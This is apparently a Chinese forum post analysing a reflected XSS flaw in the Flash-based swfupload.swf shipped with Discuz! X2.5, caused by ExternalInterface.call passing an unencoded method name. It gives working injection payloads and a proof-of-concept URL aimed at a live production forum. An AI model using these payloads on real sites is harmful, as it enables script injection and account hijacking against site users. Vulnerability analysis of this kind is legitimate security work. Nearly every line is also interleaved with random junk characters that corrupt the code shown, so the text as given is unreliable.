上回我们说: }9 N2 D& E, e' ?. Q: Y
3 }! y7 V7 t+ X! _4 |flash.external.ExternalInterface.call($methodName, $parameter)( q8 K7 t4 m2 J/ s* [
在浏览器中执行的是
- J& I) p0 A1 U3 b6 Z5 @) C* f2 E9 N) O0 ?+ ~( @2 J
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}3 f# m' Q& K1 `! w7 x" ]8 y$ u' v* ]
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如/ @* M* P- I1 t# C0 O! Z6 n
# A) Q0 z+ [8 v! k; A
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* L& U& N& u! n% ^% [! }; p$methodName = a())}catch(e){alert(/xss/)}//
' v2 ^; ^. Q' E( V# ]+ O- ]结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
7 B9 k; P/ {7 x" f
4 z4 |3 I& }# Gtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
5 d- p5 V( l$ P, ?# d8 @ ^; ? _/ m5 U( ?$ g# ?* u
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )+ e l" D! _, G
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。6 q3 @; E5 W k1 |- D. y
1 T$ W1 K. m7 P" r& h" c0 _: P( ~; l6 C
6 @) T+ t7 x* D& d4 }' P漏洞文件:upload\static\image\common\swfupload.swf
; ?4 d" ]/ A! j$ z+ E7 I$ H( k/ d, I
- \# e; W0 l) ^ w9 n6 @5 i5 N5 s/ V原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf; X/ ]6 p" n: y* I5 l1 }
# y+ c; M, [2 Y) x& ]% }! p7 O# U( F4 h) g7 X/ V
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
& p$ N) b6 w7 `; M2 w4 H% b' r6 h3 A# [% i, @5 ^2 T
3 n; l- e0 r/ Y3 k" U
|